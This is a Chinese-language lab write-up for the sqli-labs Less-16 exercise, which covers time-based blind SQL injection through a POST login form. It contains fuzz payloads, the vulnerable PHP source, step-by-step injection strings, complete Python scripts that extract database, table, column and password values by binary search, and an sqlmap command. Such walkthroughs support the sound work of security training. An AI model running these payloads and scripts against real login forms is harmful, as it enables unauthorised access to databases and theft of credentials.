sqli-lab-less16
一、靶标地址
Less-16 POST-Blind-Time Based - Double quotes
#双引号时间盲注
http://127.0.0.1/sqli/less-16/
二、漏洞探测
输入admin admin
得到post数据包
uname=admin&passwd=admin&submit=Submit
#无任何回显
猜测业务逻辑流程应该是根据输入的username、password去查询然后进行比对
uname=1' or sleep(3) #&passwd=2&submit=Submit
因为1不是数据库内容会显示false,1=1为true,用or会显示为true
#结果超过3秒
推测语句为select username,password from users where username= ("$uname") and password=("$passwd") limit 0,1;
fuzz.txt
' or sleep(3) #
" or sleep(3) #
') or sleep(3) #
") or sleep(3) # 41秒
')) or sleep(3) #
")) or sleep(3) #
import requests
import time
url="http://192.168.128.159/sqli/less-16/index.php"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
file = open("./16fuzz.txt","r")
payloads = file.read().splitlines()
for i in range(len(payloads)):
print("==============This is "+ str(i) + payloads[i]+"==============")
subpayload = "1" + payloads[i]
payload = {
"uname" : subpayload,
"passwd" : "1"
}
start = time.time()
response=requests.post(url,headers=header,data=payload)
end = time.time()
if end - start > 3:
print(end - start)
print(response.text)
else:
print(end - start)
三、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
//echo 'Your Login name:'. $row['username'];
echo "<br>";
//echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";#成功无回显
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
echo "</br>";
echo "</br>";
//echo "Try again looser";#报错无回显
//print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
四、黑盒与白盒测试
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
时间盲注常用的函数:
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n) 将程序挂起一段时间 n单位为秒
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
char() 将ASCII码转换为对应的字符
#爆破的思路是
#数据库版本字符串长度
uname=1") or if(length(version())=5,sleep(5),0) #&passwd=admin&submit=Submit
#数据库版本
uname=1") or if(left(version(),1)=5,sleep(5),0) #&passwd=admin&submit=Submit
#数据库字符串长度
uname=1") or if(length(database())=5,sleep(5),0) #&passwd=admin&submit=Submit
#数据库
#测试数据库名第一位是否为s
uname=1") or if(left(database(),1)=s,sleep(5),0) #&passwd=admin&submit=Submit
#测试数据库名第一位是否为大于a
uname=1") or if(left(database(),1)>'a',sleep(5),0) #&passwd=admin&submit=Submit
#测试数据库名前两位是否为大于sa
uname=1") or if(left(database(),2)>'sa',sleep(5)1,0) #&passwd=admin&submit=Submit
#测试数据库的第一位是否大于80
uname=1") or if(ascii(substr(database(),1,1)) >80,sleep(5),0) #&passwd=admin&submit=Submit
#测试数据库的第二位是否大于80
uname=1") or if(ascii(substr(database(),2,1)) >80,sleep(5),0) #&passwd=admin&submit=Submit
#数据表个数#数据表名长度#数据表名
#通过变换xyz的值来判断
uname=1") or if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)="z",sleep(5),0) #&passwd=admin&submit=Submit
#字段个数#字段名长度#字段名
#通过变换xyz的值来判断
uname=1") or if(left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)="z",sleep(5),0) #&passwd=admin&submit=Submit
#字段的值
uname=1") or if(left((select username from users limit x,1),y)="",sleep(5),0) #&passwd=admin&submit=Submit
uname=1") or if(left((select password from users limit x,1),y)="",sleep(5),0) #&passwd=admin&submit=Submit
五、脚本撰写
#二分法爆破
#脚本并非爆破所有表,而是根据目标一步一步获得以减少流量
#爆破数据库名长度和数据库名
import requests
import time
url="http://192.168.128.159/sqli/less-16/index.php"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
def getdbs():#获取数据库名
global current_dbs_name
current_dbs_name = ""
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
subpayload = "1\") or if(ascii(substr(database(),{0},1)) >{1},sleep(3),0) #".format(i,mid)
payload = {
"uname" : subpayload,
"passwd" : "admin"
}
start = time.time()
response=requests.post(url,headers=header,data=payload)
end = time.time()
if end - start > 3:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
current_dbs_name += chr(mid)
print("The database is "+current_dbs_name)
def gettable(): #获取表名
global tables_name
tables_name=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#已知数据库名security
subpayload = "1\") or if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{0},1)) >{1},sleep(3),0) #".format(i,mid)
payload = {
"uname" : subpayload,
"passwd" : "admin"
}
start = time.time()
response=requests.post(url,headers=header,data=payload)
end = time.time()
if end - start > 3:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
tables_name += chr(mid)
print("The tables is "+tables_name)
def getcolumn(): #获取字段名
global column_name
column_name=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#已知数据表名users
subpayload = "1\") or if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1)) >{1},sleep(3),0) #".format(i,mid)
payload = {
"uname" : subpayload,
"passwd" : "admin"
}
start = time.time()
response=requests.post(url,headers=header,data=payload)
end = time.time()
if end - start > 3:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
column_name += chr(mid)
print("The column_name is "+column_name)
def getcolumn_value(): #获取字段值
global column_value
column_value=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
#已知字段名password
#select(group_concat(password))from(users);
#select group_concat(password) from users;
subpayload = "1\") or if(ascii(substr((select(group_concat(password))from(users)),{0},1)) >{1},sleep(3),0) #".format(i,mid)
payload = {
"uname" : subpayload,
"passwd" : "admin"
}
start = time.time()
response=requests.post(url,headers=header,data=payload)
end = time.time()
if end - start > 3:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:#以此判断长度
break
column_value += chr(mid)
print("The column_value is "+column_value)
getdbs()
gettable()
getcolumn()
getcolumn_value()
六、sqlmap
sqlmap -u "http://192.168.128.159/sqli/Less-16/" --data "uname=1&passwd=1&submit=Submit" --batch
#未探测出 时间盲注会存在网络延迟的原因
七、总结
1、时间盲注会存在网络延迟的原因